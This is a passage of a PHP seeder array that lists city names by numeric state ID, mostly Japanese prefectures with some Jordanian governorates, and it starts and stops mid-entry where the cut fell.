'name' => 'kumano'],\n ['state_id' => '1941', 'name' => 'kuwana'],\n ['state_id' => '1941', 'name' => 'matsusaka'],\n ['state_id' => '1941', 'name' => 'meiwa'],\n ['state_id' => '1941', 'name' => 'nabari'],\n ['state_id' => '1941', 'name' => 'owase'],\n ['state_id' => '1941', 'name' => 'suzuka'],\n ['state_id' => '1941', 'name' => 'toba'],\n ['state_id' => '1941', 'name' => 'toin'],\n ['state_id' => '1941', 'name' => 'tsu'],\n ['state_id' => '1941', 'name' => 'ueno'],\n ['state_id' => '1941', 'name' => 'yokkaichi'],\n ['state_id' => '1942', 'name' => 'furukawa'],\n ['state_id' => '1942', 'name' => 'hasama'],\n ['state_id' => '1942', 'name' => 'ishinomaki'],\n ['state_id' => '1942', 'name' => 'iwanuma'],\n ['state_id' => '1942', 'name' => 'kakuda'],\n ['state_id' => '1942', 'name' => 'kesennuma'],\n ['state_id' => '1942', 'name' => 'kogota'],\n ['state_id' => '1942', 'name' => 'marumori'],\n ['state_id' => '1942', 'name' => 'natori'],\n ['state_id' => '1942', 'name' => 'ogawara'],\n ['state_id' => '1942', 'name' => 'rifu'],\n ['state_id' => '1942', 'name' => 'sendai'],\n ['state_id' => '1942', 'name' => 'shibata'],\n ['state_id' => '1942', 'name' => 'shichigahama'],\n ['state_id' => '1942', 'name' => 'shiogama'],\n ['state_id' => '1942', 'name' => 'shiroishi'],\n ['state_id' => '1942', 'name' => 'tagajo'],\n ['state_id' => '1942', 'name' => 'taiwa'],\n ['state_id' => '1942', 'name' => 'tomiya'],\n ['state_id' => '1942', 'name' => 'wakuya'],\n ['state_id' => '1942', 'name' => 'watari'],\n ['state_id' => '1942', 'name' => 'yamoto'],\n ['state_id' => '1943', 'name' => 'ebino'],\n ['state_id' => '1943', 'name' => 'hyuga'],\n ['state_id' => '1943', 'name' => 'kiyotake'],\n ['state_id' => '1943', 'name' => 'kobayashi'],\n ['state_id' => '1943', 'name' => 'kunitomi'],\n ['state_id' => '1943', 'name' => 'kushima'],\n ['state_id' => '1943', 'name' => 'mimata'],\n ['state_id' => '1943', 'name' => 'miyakonojo'],\n ['state_id' => '1943', 'name' => 'miyazaki'],\n ['state_id' => '1943', 'name' => 'nichinan'],\n ['state_id' => '1943', 'name' => 'nobeoka'],\n ['state_id' => '1943', 'name' => 'sadowara'],\n ['state_id' => '1943', 'name' => 'saito'],\n ['state_id' => '1943', 'name' => 'shintomi'],\n ['state_id' => '1943', 'name' => 'takanabe'],\n ['state_id' => '1944', 'name' => 'chino'],\n ['state_id' => '1944', 'name' => 'hotaka'],\n ['state_id' => '1944', 'name' => 'iida'],\n ['state_id' => '1944', 'name' => 'iiyama'],\n ['state_id' => '1944', 'name' => 'ina'],\n ['state_id' => '1944', 'name' => 'komagane'],\n ['state_id' => '1944', 'name' => 'komoro'],\n ['state_id' => '1944', 'name' => 'koshoku'],\n ['state_id' => '1944', 'name' => 'maruko'],\n ['state_id' => '1944', 'name' => 'matsumoto'],\n ['state_id' => '1944', 'name' => 'minowa'],\n ['state_id' => '1944', 'name' => 'nagano'],\n ['state_id' => '1944', 'name' => 'nakano'],\n ['state_id' => '1944', 'name' => 'okaya'],\n ['state_id' => '1944', 'name' => 'omachi'],\n ['state_id' => '1944', 'name' => 'saku'],\n ['state_id' => '1944', 'name' => 'shimosuwa'],\n ['state_id' => '1944', 'name' => 'shiojiri'],\n ['state_id' => '1944', 'name' => 'suwa'],\n ['state_id' => '1944', 'name' => 'suzaka'],\n ['state_id' => '1944', 'name' => 'tatsuno'],\n ['state_id' => '1944', 'name' => 'tobu'],\n ['state_id' => '1944', 'name' => 'toyoshina'],\n ['state_id' => '1944', 'name' => 'ueda'],\n ['state_id' => '1945', 'name' => 'fukue'],\n ['state_id' => '1945', 'name' => 'hirado'],\n ['state_id' => '1945', 'name' => 'isahaya'],\n ['state_id' => '1945', 'name' => 'matsuura'],\n ['state_id' => '1945', 'name' => 'nagasaki'],\n ['state_id' => '1945', 'name' => 'nagayo'],\n ['state_id' => '1945', 'name' => 'omura'],\n ['state_id' => '1945', 'name' => 'sasebo'],\n ['state_id' => '1945', 'name' => 'shimabara'],\n ['state_id' => '1945', 'name' => 'togitsu'],\n ['state_id' => '1946', 'name' => 'gojo'],\n ['state_id' => '1946', 'name' => 'gose'],\n ['state_id' => '1946', 'name' => 'haibara'],\n ['state_id' => '1946', 'name' => 'heguri'],\n ['state_id' => '1946', 'name' => 'ikagura'],\n ['state_id' => '1946', 'name' => 'ikoma'],\n ['state_id' => '1946', 'name' => 'kammaki'],\n ['state_id' => '1946', 'name' => 'kashiba'],\n ['state_id' => '1946', 'name' => 'kashihara'],\n ['state_id' => '1946', 'name' => 'kawai'],\n ['state_id' => '1946', 'name' => 'koryo'],\n ['state_id' => '1946', 'name' => 'nara'],\n ['state_id' => '1946', 'name' => 'oji'],\n ['state_id' => '1946', 'name' => 'oyodo'],\n ['state_id' => '1946', 'name' => 'sakurai'],\n ['state_id' => '1946', 'name' => 'sango'],\n ['state_id' => '1946', 'name' => 'tawaramoto'],\n ['state_id' => '1946', 'name' => 'tenri'],\n ['state_id' => '1946', 'name' => 'yamatokoriyama'],\n ['state_id' => '1946', 'name' => 'yamatotakada'],\n ['state_id' => '1947', 'name' => 'arai'],\n ['state_id' => '1947', 'name' => 'fuchu'],\n ['state_id' => '1947', 'name' => 'gosen'],\n ['state_id' => '1947', 'name' => 'itoigawa'],\n ['state_id' => '1947', 'name' => 'joetsu'],\n ['state_id' => '1947', 'name' => 'kameda'],\n ['state_id' => '1947', 'name' => 'kamo'],\n ['state_id' => '1947', 'name' => 'kashiwazaki'],\n ['state_id' => '1947', 'name' => 'kurosaki'],\n ['state_id' => '1947', 'name' => 'maki'],\n ['state_id' => '1947', 'name' => 'mitsuke'],\n ['state_id' => '1947', 'name' => 'muika'],\n ['state_id' => '1947', 'name' => 'murakami'],\n ['state_id' => '1947', 'name' => 'muramatsu'],\n ['state_id' => '1947', 'name' => 'nagaoka'],\n ['state_id' => '1947', 'name' => 'nakajo'],\n ['state_id' => '1947', 'name' => 'niigata'],\n ['state_id' => '1947', 'name' => 'niitsu'],\n ['state_id' => '1947', 'name' => 'ojiya'],\n ['state_id' => '1947', 'name' => 'ryotsu'],\n ['state_id' => '1947', 'name' => 'sanjo'],\n ['state_id' => '1947', 'name' => 'shibata'],\n ['state_id' => '1947', 'name' => 'shiozawa'],\n ['state_id' => '1947', 'name' => 'shirone'],\n ['state_id' => '1947', 'name' => 'suibara'],\n ['state_id' => '1947', 'name' => 'tochio'],\n ['state_id' => '1947', 'name' => 'tokamachi'],\n ['state_id' => '1947', 'name' => 'toyosaka'],\n ['state_id' => '1947', 'name' => 'tsubame'],\n ['state_id' => '1947', 'name' => 'yoshida'],\n ['state_id' => '1948', 'name' => 'beppu'],\n ['state_id' => '1948', 'name' => 'bungotakada'],\n ['state_id' => '1948', 'name' => 'hiji'],\n ['state_id' => '1948', 'name' => 'hita'],\n ['state_id' => '1948', 'name' => 'kitsuki'],\n ['state_id' => '1948', 'name' => 'kusu'],\n ['state_id' => '1948', 'name' => 'nakatsu'],\n ['state_id' => '1948', 'name' => 'oita'],\n ['state_id' => '1948', 'name' => 'saiki'],\n ['state_id' => '1948', 'name' => 'taketa'],\n ['state_id' => '1948', 'name' => 'tsukumi'],\n ['state_id' => '1948', 'name' => 'usa'],\n ['state_id' => '1948', 'name' => 'usuki'],\n ['state_id' => '1949', 'name' => 'bizen'],\n ['state_id' => '1949', 'name' => 'ibara'],\n ['state_id' => '1949', 'name' => 'kamogata'],\n ['state_id' => '1949', 'name' => 'kasaoka'],\n ['state_id' => '1949', 'name' => 'kurashiki'],\n ['state_id' => '1949', 'name' => 'mabi'],\n ['state_id' => '1949', 'name' => 'niimi'],\n ['state_id' => '1949', 'name' => 'okayama'],\n ['state_id' => '1949', 'name' => 'sanyo'],\n ['state_id' => '1949', 'name' => 'soja'],\n ['state_id' => '1949', 'name' => 'takahashi'],\n ['state_id' => '1949', 'name' => 'tamano'],\n ['state_id' => '1949', 'name' => 'tsuyama'],\n ['state_id' => '1950', 'name' => 'chatan'],\n ['state_id' => '1950', 'name' => 'ginowan'],\n ['state_id' => '1950', 'name' => 'gushikawa'],\n ['state_id' => '1950', 'name' => 'haebaru'],\n ['state_id' => '1950', 'name' => 'hirara'],\n ['state_id' => '1950', 'name' => 'ishigaki'],\n ['state_id' => '1950', 'name' => 'ishikawa'],\n ['state_id' => '1950', 'name' => 'itoman'],\n ['state_id' => '1950', 'name' => 'nago'],\n ['state_id' => '1950', 'name' => 'naha'],\n ['state_id' => '1950', 'name' => 'nishihara'],\n ['state_id' => '1950', 'name' => 'okinawa'],\n ['state_id' => '1950', 'name' => 'tomigusuku'],\n ['state_id' => '1950', 'name' => 'urasoe'],\n ['state_id' => '1950', 'name' => 'yomitan'],\n ['state_id' => '1951', 'name' => 'daito'],\n ['state_id' => '1951', 'name' => 'fujiidera'],\n ['state_id' => '1951', 'name' => 'habikino'],\n ['state_id' => '1951', 'name' => 'hannan'],\n ['state_id' => '1951', 'name' => 'higashiosaka'],\n ['state_id' => '1951', 'name' => 'hirakata'],\n ['state_id' => '1951', 'name' => 'ibaraki'],\n ['state_id' => '1951', 'name' => 'ikeda'],\n ['state_id' => '1951', 'name' => 'izumi'],\n ['state_id' => '1951', 'name' => 'izumiotsu'],\n ['state_id' => '1951', 'name' => 'izumisano'],\n ['state_id' => '1951', 'name' => 'kadoma'],\n ['state_id' => '1951', 'name' => 'kaizuka'],\n ['state_id' => '1951', 'name' => 'kashiwara'],\n ['state_id' => '1951', 'name' => 'katano'],\n ['state_id' => '1951', 'name' => 'kawachinagano'],\n ['state_id' => '1951', 'name' => 'kishiwada'],\n ['state_id' => '1951', 'name' => 'kobe'],\n ['state_id' => '1951', 'name' => 'kumatori'],\n ['state_id' => '1951', 'name' => 'matsubara'],\n ['state_id' => '1951', 'name' => 'mihara'],\n ['state_id' => '1951', 'name' => 'mino'],\n ['state_id' => '1951', 'name' => 'misaki'],\n ['state_id' => '1951', 'name' => 'moriguchi'],\n ['state_id' => '1951', 'name' => 'neyagawa'],\n ['state_id' => '1951', 'name' => 'osaka'],\n ['state_id' => '1951', 'name' => 'osakasayama'],\n ['state_id' => '1951', 'name' => 'sakai'],\n ['state_id' => '1951', 'name' => 'sennan'],\n ['state_id' => '1951', 'name' => 'settsu'],\n ['state_id' => '1951', 'name' => 'shijonawate'],\n ['state_id' => '1951', 'name' => 'shimamoto'],\n ['state_id' => '1951', 'name' => 'suita'],\n ['state_id' => '1951', 'name' => 'takaishi'],\n ['state_id' => '1951', 'name' => 'takatsuki'],\n ['state_id' => '1951', 'name' => 'tondabayashi'],\n ['state_id' => '1951', 'name' => 'toyonaka'],\n ['state_id' => '1951', 'name' => 'toyono'],\n ['state_id' => '1951', 'name' => 'yao'],\n ['state_id' => '1952', 'name' => 'imari'],\n ['state_id' => '1952', 'name' => 'kanzaki'],\n ['state_id' => '1952', 'name' => 'karatsu'],\n ['state_id' => '1952', 'name' => 'kashima'],\n ['state_id' => '1952', 'name' => 'kawasoe'],\n ['state_id' => '1952', 'name' => 'saga'],\n ['state_id' => '1952', 'name' => 'takeo'],\n ['state_id' => '1952', 'name' => 'taku'],\n ['state_id' => '1952', 'name' => 'tosu'],\n ['state_id' => '1952', 'name' => 'ureshino'],\n ['state_id' => '1952', 'name' => 'yamato'],\n ['state_id' => '1953', 'name' => 'ageo'],\n ['state_id' => '1953', 'name' => 'asaka'],\n ['state_id' => '1953', 'name' => 'chichibu'],\n ['state_id' => '1953', 'name' => 'fujimi'],\n ['state_id' => '1953', 'name' => 'fukaya'],\n ['state_id' => '1953', 'name' => 'fukiage'],\n ['state_id' => '1953', 'name' => 'gyoda'],\n ['state_id' => '1953', 'name' => 'hanno'],\n ['state_id' => '1953', 'name' => 'hanyu'],\n ['state_id' => '1953', 'name' => 'hasuda'],\n ['state_id' => '1953', 'name' => 'hatogaya'],\n ['state_id' => '1953', 'name' => 'hatoyama'],\n ['state_id' => '1953', 'name' => 'hidaka'],\n ['state_id' => '1953', 'name' => 'higashimatsuyama'],\n ['state_id' => '1953', 'name' => 'honjo'],\n ['state_id' => '1953', 'name' => 'ina'],\n ['state_id' => '1953', 'name' => 'iruma'],\n ['state_id' => '1953', 'name' => 'iwatsuki'],\n ['state_id' => '1953', 'name' => 'kamifukuoka'],\n ['state_id' => '1953', 'name' => 'kamisato'],\n ['state_id' => '1953', 'name' => 'kasukabe'],\n ['state_id' => '1953', 'name' => 'kawagoe'],\n ['state_id' => '1953', 'name' => 'kawaguchi'],\n ['state_id' => '1953', 'name' => 'kawajima'],\n ['state_id' => '1953', 'name' => 'kazo'],\n ['state_id' => '1953', 'name' => 'kisai'],\n ['state_id' => '1953', 'name' => 'kitamoto'],\n ['state_id' => '1953', 'name' => 'kodama'],\n ['state_id' => '1953', 'name' => 'konosu'],\n ['state_id' => '1953', 'name' => 'koshigaya'],\n ['state_id' => '1953', 'name' => 'kuki'],\n ['state_id' => '1953', 'name' => 'kumagaya'],\n ['state_id' => '1953', 'name' => 'kurihashi'],\n ['state_id' => '1953', 'name' => 'matsubushi'],\n ['state_id' => '1953', 'name' => 'menuma'],\n ['state_id' => '1953', 'name' => 'misato'],\n ['state_id' => '1953', 'name' => 'miyashiro'],\n ['state_id' => '1953', 'name' => 'miyoshi'],\n ['state_id' => '1953', 'name' => 'moroyama'],\n ['state_id' => '1953', 'name' => 'niiza'],\n ['state_id' => '1953', 'name' => 'ogawa'],\n ['state_id' => '1953', 'name' => 'oi'],\n ['state_id' => '1953', 'name' => 'okegawa'],\n ['state_id' => '1953', 'name' => 'omiya'],\n ['state_id' => '1953', 'name' => 'saitma-shi'],\n ['state_id' => '1953', 'name' => 'sakado'],\n ['state_id' => '1953', 'name' => 'satte'],\n ['state_id' => '1953', 'name' => 'sayama'],\n ['state_id' => '1953', 'name' => 'shiki'],\n ['state_id' => '1953', 'name' => 'shiraoka'],\n ['state_id' => '1953', 'name' => 'shobu'],\n ['state_id' => '1953', 'name' => 'showa'],\n ['state_id' => '1953', 'name' => 'soka'],\n ['state_id' => '1953', 'name' => 'sugito'],\n ['state_id' => '1953', 'name' => 'toda'],\n ['state_id' => '1953', 'name' => 'tokorozawa'],\n ['state_id' => '1953', 'name' => 'tsurugashima'],\n ['state_id' => '1953', 'name' => 'urawa'],\n ['state_id' => '1953', 'name' => 'wako'],\n ['state_id' => '1953', 'name' => 'warabi'],\n ['state_id' => '1953', 'name' => 'washimiya'],\n ['state_id' => '1953', 'name' => 'yashio'],\n ['state_id' => '1953', 'name' => 'yono'],\n ['state_id' => '1953', 'name' => 'yorii'],\n ['state_id' => '1953', 'name' => 'yoshikawa'],\n ['state_id' => '1953', 'name' => 'yoshimi'],\n ['state_id' => '1954', 'name' => 'hikone'],\n ['state_id' => '1954', 'name' => 'hino'],\n ['state_id' => '1954', 'name' => 'konan'],\n ['state_id' => '1954', 'name' => 'kosei'],\n ['state_id' => '1954', 'name' => 'kusatsu'],\n ['state_id' => '1954', 'name' => 'minakuchi'],\n ['state_id' => '1954', 'name' => 'moriyama'],\n ['state_id' => '1954', 'name' => 'nagahama'],\n ['state_id' => '1954', 'name' => 'notogawa'],\n ['state_id' => '1954', 'name' => 'omihachiman'],\n ['state_id' => '1954', 'name' => 'otsu'],\n ['state_id' => '1954', 'name' => 'ritto'],\n ['state_id' => '1954', 'name' => 'shiga'],\n ['state_id' => '1954', 'name' => 'yasu'],\n ['state_id' => '1954', 'name' => 'yokaichi'],\n ['state_id' => '1955', 'name' => 'gotsu'],\n ['state_id' => '1955', 'name' => 'hamada'],\n ['state_id' => '1955', 'name' => 'hikawa'],\n ['state_id' => '1955', 'name' => 'hirata'],\n ['state_id' => '1955', 'name' => 'izumo'],\n ['state_id' => '1955', 'name' => 'masuda'],\n ['state_id' => '1955', 'name' => 'matsue'],\n ['state_id' => '1955', 'name' => 'oda'],\n ['state_id' => '1955', 'name' => 'yasugi'],\n ['state_id' => '1956', 'name' => 'asaba'],\n ['state_id' => '1956', 'name' => 'atami'],\n ['state_id' => '1956', 'name' => 'daito'],\n ['state_id' => '1956', 'name' => 'fuji'],\n ['state_id' => '1956', 'name' => 'fujieda'],\n ['state_id' => '1956', 'name' => 'fujinomiya'],\n ['state_id' => '1956', 'name' => 'fukuroi'],\n ['state_id' => '1956', 'name' => 'gotemba'],\n ['state_id' => '1956', 'name' => 'haibara'],\n ['state_id' => '1956', 'name' => 'hamakita'],\n ['state_id' => '1956', 'name' => 'hamamatsu'],\n ['state_id' => '1956', 'name' => 'hamaoka'],\n ['state_id' => '1956', 'name' => 'hosoe'],\n ['state_id' => '1956', 'name' => 'ito'],\n ['state_id' => '1956', 'name' => 'iwata'],\n ['state_id' => '1956', 'name' => 'kakegawa'],\n ['state_id' => '1956', 'name' => 'kanaya'],\n ['state_id' => '1956', 'name' => 'kannami'],\n ['state_id' => '1956', 'name' => 'kikugawa'],\n ['state_id' => '1956', 'name' => 'kosai'],\n ['state_id' => '1956', 'name' => 'mishima'],\n ['state_id' => '1956', 'name' => 'mori'],\n ['state_id' => '1956', 'name' => 'nagaizumi'],\n ['state_id' => '1956', 'name' => 'numazu'],\n ['state_id' => '1956', 'name' => 'oigawa'],\n ['state_id' => '1956', 'name' => 'oyama'],\n ['state_id' => '1956', 'name' => 'ryuyo'],\n ['state_id' => '1956', 'name' => 'sagara'],\n ['state_id' => '1956', 'name' => 'shimada'],\n ['state_id' => '1956', 'name' => 'shimizu'],\n ['state_id' => '1956', 'name' => 'shimoda'],\n ['state_id' => '1956', 'name' => 'shizuoka'],\n ['state_id' => '1956', 'name' => 'susono'],\n ['state_id' => '1956', 'name' => 'tenryu'],\n ['state_id' => '1956', 'name' => 'toyoda'],\n ['state_id' => '1956', 'name' => 'yaizu'],\n ['state_id' => '1956', 'name' => 'yoshida'],\n ['state_id' => '1957', 'name' => 'ashikaga'],\n ['state_id' => '1957', 'name' => 'fujioka'],\n ['state_id' => '1957', 'name' => 'imaichi'],\n ['state_id' => '1957', 'name' => 'iwafune'],\n ['state_id' => '1957', 'name' => 'kaminokawa'],\n ['state_id' => '1957', 'name' => 'kanuma'],\n ['state_id' => '1957', 'name' => 'karasuyama'],\n ['state_id' => '1957', 'name' => 'kawachi'],\n ['state_id' => '1957', 'name' => 'kuroiso'],\n ['state_id' => '1957', 'name' => 'mashiko'],\n ['state_id' => '1957', 'name' => 'mibu'],\n ['state_id' => '1957', 'name' => 'minamikawachi'],\n ['state_id' => '1957', 'name' => 'moka'],\n ['state_id' => '1957', 'name' => 'motegi'],\n ['state_id' => '1957', 'name' => 'nasu'],\n ['state_id' => '1957', 'name' => 'nikko'],\n ['state_id' => '1957', 'name' => 'nishinasuno'],\n ['state_id' => '1957', 'name' => 'nogi'],\n ['state_id' => '1957', 'name' => 'ohira'],\n ['state_id' => '1957', 'name' => 'otawara'],\n ['state_id' => '1957', 'name' => 'oyama'],\n ['state_id' => '1957', 'name' => 'sano'],\n ['state_id' => '1957', 'name' => 'takanezawa'],\n ['state_id' => '1957', 'name' => 'tanuma'],\n ['state_id' => '1957', 'name' => 'tochigi'],\n ['state_id' => '1957', 'name' => 'ujiie'],\n ['state_id' => '1957', 'name' => 'utsunomiya'],\n ['state_id' => '1957', 'name' => 'yaita'],\n ['state_id' => '1958', 'name' => 'aizumi'],\n ['state_id' => '1958', 'name' => 'anan'],\n ['state_id' => '1958', 'name' => 'ikeda'],\n ['state_id' => '1958', 'name' => 'ishii'],\n ['state_id' => '1958', 'name' => 'kamojima'],\n ['state_id' => '1958', 'name' => 'kitajima'],\n ['state_id' => '1958', 'name' => 'komatsushima'],\n ['state_id' => '1958', 'name' => 'naruto'],\n ['state_id' => '1958', 'name' => 'tokushima'],\n ['state_id' => '1958', 'name' => 'waki'],\n ['state_id' => '1959', 'name' => 'akiruno'],\n ['state_id' => '1959', 'name' => 'akishima'],\n ['state_id' => '1959', 'name' => 'chofu'],\n ['state_id' => '1959', 'name' => 'fuchu'],\n ['state_id' => '1959', 'name' => 'hachioji'],\n ['state_id' => '1959', 'name' => 'hamura'],\n ['state_id' => '1959', 'name' => 'higashikurume'],\n ['state_id' => '1959', 'name' => 'higashimurayama'],\n ['state_id' => '1959', 'name' => 'higashiyamato'],\n ['state_id' => '1959', 'name' => 'hino'],\n ['state_id' => '1959', 'name' => 'hoya'],\n ['state_id' => '1959', 'name' => 'inagi'],\n ['state_id' => '1959', 'name' => 'kiyose'],\n ['state_id' => '1959', 'name' => 'kodaira'],\n ['state_id' => '1959', 'name' => 'koganei'],\n ['state_id' => '1959', 'name' => 'kokubunji'],\n ['state_id' => '1959', 'name' => 'komae'],\n ['state_id' => '1959', 'name' => 'kunitachi'],\n ['state_id' => '1959', 'name' => 'machida'],\n ['state_id' => '1959', 'name' => 'mitaka'],\n ['state_id' => '1959', 'name' => 'mizuho'],\n ['state_id' => '1959', 'name' => 'musashimurayama'],\n ['state_id' => '1959', 'name' => 'musashino'],\n ['state_id' => '1959', 'name' => 'ome'],\n ['state_id' => '1959', 'name' => 'tachikawa'],\n ['state_id' => '1959', 'name' => 'tama'],\n ['state_id' => '1959', 'name' => 'tanashi'],\n ['state_id' => '1959', 'name' => 'tokyo'],\n ['state_id' => '1960', 'name' => 'kurayoshi'],\n ['state_id' => '1960', 'name' => 'sakaiminato'],\n ['state_id' => '1960', 'name' => 'tottori'],\n ['state_id' => '1960', 'name' => 'yonago'],\n ['state_id' => '1961', 'name' => 'fukumitsu'],\n ['state_id' => '1961', 'name' => 'himi'],\n ['state_id' => '1961', 'name' => 'kamiichi'],\n ['state_id' => '1961', 'name' => 'kosugi'],\n ['state_id' => '1961', 'name' => 'kurobe'],\n ['state_id' => '1961', 'name' => 'namerikawa'],\n ['state_id' => '1961', 'name' => 'nyuzen'],\n ['state_id' => '1961', 'name' => 'osawano'],\n ['state_id' => '1961', 'name' => 'oyabe'],\n ['state_id' => '1961', 'name' => 'shimminato'],\n ['state_id' => '1961', 'name' => 'takaoka'],\n ['state_id' => '1961', 'name' => 'tateyama'],\n ['state_id' => '1961', 'name' => 'tonami'],\n ['state_id' => '1961', 'name' => 'toyama'],\n ['state_id' => '1961', 'name' => 'uozu'],\n ['state_id' => '1961', 'name' => 'yatsuo'],\n ['state_id' => '1962', 'name' => 'arida'],\n ['state_id' => '1962', 'name' => 'gobo'],\n ['state_id' => '1962', 'name' => 'hashimoto'],\n ['state_id' => '1962', 'name' => 'iwade'],\n ['state_id' => '1962', 'name' => 'kainan'],\n ['state_id' => '1962', 'name' => 'katsuragi'],\n ['state_id' => '1962', 'name' => 'kishigawa'],\n ['state_id' => '1962', 'name' => 'nachikatsuura'],\n ['state_id' => '1962', 'name' => 'shingu'],\n ['state_id' => '1962', 'name' => 'tanabe'],\n ['state_id' => '1962', 'name' => 'wakayama'],\n ['state_id' => '1963', 'name' => 'higashine'],\n ['state_id' => '1963', 'name' => 'kahoku'],\n ['state_id' => '1963', 'name' => 'kaminoyama'],\n ['state_id' => '1963', 'name' => 'kawanishi'],\n ['state_id' => '1963', 'name' => 'murayama'],\n ['state_id' => '1963', 'name' => 'nagai'],\n ['state_id' => '1963', 'name' => 'nanyo'],\n ['state_id' => '1963', 'name' => 'obanazawa'],\n ['state_id' => '1963', 'name' => 'sagae'],\n ['state_id' => '1963', 'name' => 'sakata'],\n ['state_id' => '1963', 'name' => 'shinjo'],\n ['state_id' => '1963', 'name' => 'takahata'],\n ['state_id' => '1963', 'name' => 'tendo'],\n ['state_id' => '1963', 'name' => 'tsuchiura'],\n ['state_id' => '1963', 'name' => 'tsuruoka'],\n ['state_id' => '1963', 'name' => 'yamagata'],\n ['state_id' => '1963', 'name' => 'yonezawa'],\n ['state_id' => '1963', 'name' => 'yuza'],\n ['state_id' => '1964', 'name' => 'hagi'],\n ['state_id' => '1964', 'name' => 'hikari'],\n ['state_id' => '1964', 'name' => 'hofu'],\n ['state_id' => '1964', 'name' => 'iwakuni'],\n ['state_id' => '1964', 'name' => 'kudamatsu'],\n ['state_id' => '1964', 'name' => 'mine'],\n ['state_id' => '1964', 'name' => 'nagato'],\n ['state_id' => '1964', 'name' => 'ogori'],\n ['state_id' => '1964', 'name' => 'onoda'],\n ['state_id' => '1964', 'name' => 'sanyo'],\n ['state_id' => '1964', 'name' => 'shimonoseki'],\n ['state_id' => '1964', 'name' => 'shinnanyo'],\n ['state_id' => '1964', 'name' => 'tokuyama'],\n ['state_id' => '1964', 'name' => 'toyoura'],\n ['state_id' => '1964', 'name' => 'ube'],\n ['state_id' => '1964', 'name' => 'yamaguchi'],\n ['state_id' => '1964', 'name' => 'yanai'],\n ['state_id' => '1965', 'name' => 'enzan'],\n ['state_id' => '1965', 'name' => 'fujiyoshida'],\n ['state_id' => '1965', 'name' => 'isawa'],\n ['state_id' => '1965', 'name' => 'kofu'],\n ['state_id' => '1965', 'name' => 'nirasaki'],\n ['state_id' => '1965', 'name' => 'otsuki'],\n ['state_id' => '1965', 'name' => 'ryuo'],\n ['state_id' => '1965', 'name' => 'tsuru'],\n ['state_id' => '1965', 'name' => 'uenohara'],\n ['state_id' => '1965', 'name' => 'yamanashi'],\n ['state_id' => '1966', 'name' => 'grouville'],\n ['state_id' => '1976', 'name' => 'trinity'],\n ['state_id' => '1977', 'name' => '\\'abbin'],\n ['state_id' => '1977', 'name' => '\\'ajlun'],\n ['state_id' => '1977', 'name' => '\\'anjarah'],\n ['state_id' => '1977', 'name' => '\\'arjan'],\n ['state_id' => '1977', 'name' => '\\'ayn janna'],\n ['state_id' => '1977', 'name' => 'halawah'],\n ['state_id' => '1977', 'name' => 'kharbat al-wahadnah'],\n ['state_id' => '1977', 'name' => 'kufranjah'],\n ['state_id' => '1977', 'name' => 'sakhrah'],\n ['state_id' => '1977', 'name' => 'al-hashamiyah'],\n ['state_id' => '1978', 'name' => 'abu \\'alanda'],\n ['state_id' => '1978', 'name' => 'amman'],\n ['state_id' => '1978', 'name' => 'askan abu nusayr'],\n ['state_id' => '1978', 'name' => 'jawa'],\n ['state_id' => '1978', 'name' => 'khalda wa tila\\'-al-\\'ali'],\n ['state_id' => '1978', 'name' => 'khraybat as-suq'],\n ['state_id' => '1978', 'name' => 'marj al-hammam'],\n ['state_id' => '1978', 'name' => 'na\\'ur'],\n ['state_id' => '1978', 'name' => 'nuzhat sahab'],\n ['state_id' => '1978', 'name' => 'sahab'],\n ['state_id' => '1978', 'name' => 'shafa badran'],\n ['state_id' => '1978', 'name' => 'suwaylih'],\n ['state_id' => '1978', 'name' => 'tariq'],\n ['state_id' => '1978', 'name' => 'umm as-summaq'],\n ['state_id' => '1978', 'name' => 'umm nuwarah'],\n ['state_id' => '1978', 'name' => 'umm qusayr wal muqabalin'],\n ['state_id' => '1978', 'name' => 'umm al-basatin'],\n ['state_id' => '1978', 'name' => 'wadi as-sir'],\n ['state_id' => '1978', 'name' => 'al-\\'abdaliyah'],\n ['state_id' => '1978', 'name' => 'al-binayat'],\n ['state_id' => '1978', 'name' => 'al-faysaliyah'],\n ['state_id' => '1978', 'name' => 'al-jizah'],\n ['state_id' => '1978', 'name' => 'al-jubayhah'],\n ['state_id' => '1978', 'name' => 'al-juwaydah'],\n ['state_id' => '1978', 'name' => 'al-quwaysimah'],\n ['state_id' => '1978', 'name' => 'al-yadudah'],\n ['state_id' => '1978', 'name' => 'ar-rawdah'],\n ['state_id' => '1978', 'name' => 'at-talbiyah'],\n ['state_id' => '1978', 'name' => 'at-taybah'],\n ['state_id' => '1979', 'name' => '\\'al\\'al'],\n ['state_id' => '1979', 'name' => '\\'anbah'],\n ['state_id' => '1979', 'name' => 'arhaba'],\n ['state_id' => '1979', 'name' => 'aydun'],\n ['state_id' => '1979', 'name' => 'bayt idas'],\n ['state_id' => '1979', 'name' => 'bayt ras'],\n ['state_id' => '1979', 'name' => 'bayt yafa'],\n ['state_id' => '1979', 'name' => 'bushra'],\n ['state_id' => '1979', 'name' => 'dayr abi sa\\'id'],\n ['state_id' => '1979', 'name' => 'dayr yusif'],\n ['state_id' => '1979', 'name' => 'dayr as-sa\\'anah'],\n ['state_id' => '1979', 'name' => 'duwaqarah'],\n ['state_id' => '1979', 'name' => 'hakama'],\n ['state_id' => '1979', 'name' => 'hartha'],\n ['state_id' => '1979', 'name' => 'hatam'],\n ['state_id' => '1979', 'name' => 'hawwarah'],\n ['state_id' => '1979', 'name' => 'irbid'],\n ['state_id' => '1979', 'name' => 'jasar ash-shaykh hussayn'],\n ['state_id' => '1979', 'name' => 'judayta'],\n ['state_id' => '1979', 'name' => 'katam'],\n ['state_id' => '1979', 'name' => 'kharja'],\n ['state_id' => '1979', 'name' => 'kufur \\'awan'],\n ['state_id' => '1979', 'name' => 'kufur abil'],\n ['state_id' => '1979', 'name' => 'kufur asad'],\n ['state_id' => '1979', 'name' => 'kufur rakab'],\n ['state_id' => '1979', 'name' => 'kufur sum'],\n ['state_id' => '1979', 'name' => 'kufur yuba'],\n ['state_id' => '1979', 'name' => 'kufur al-ma\\''],\n ['state_id' => '1979', 'name' => 'kuraymah'],\n ['state_id' => '1979', 'name' => 'malka'],\n ['state_id' => '1979', 'name' => 'mukhayyam al-husun'],\n ['state_id' => '1979', 'name' => 'qumaym'],\n ['state_id' => '1979', 'name' => 'saham'],\n ['state_id' => '1979', 'name' => 'sal'],\n ['state_id' => '1979', 'name' => 'samma'],\n ['state_id' => '1979', 'name' => 'sammaw\\''],\n ['state_id' => '1979', 'name' => 'sum'],\n ['state_id' => '1979', 'name' => 'tabnah'],\n ['state_id' => '1979', 'name' => 'umm qays'],\n ['state_id' => '1979', 'name' => 'wadi al-yabas'],\n ['state_id' => '1979', 'name' => 'waqqas'],\n ['state_id' 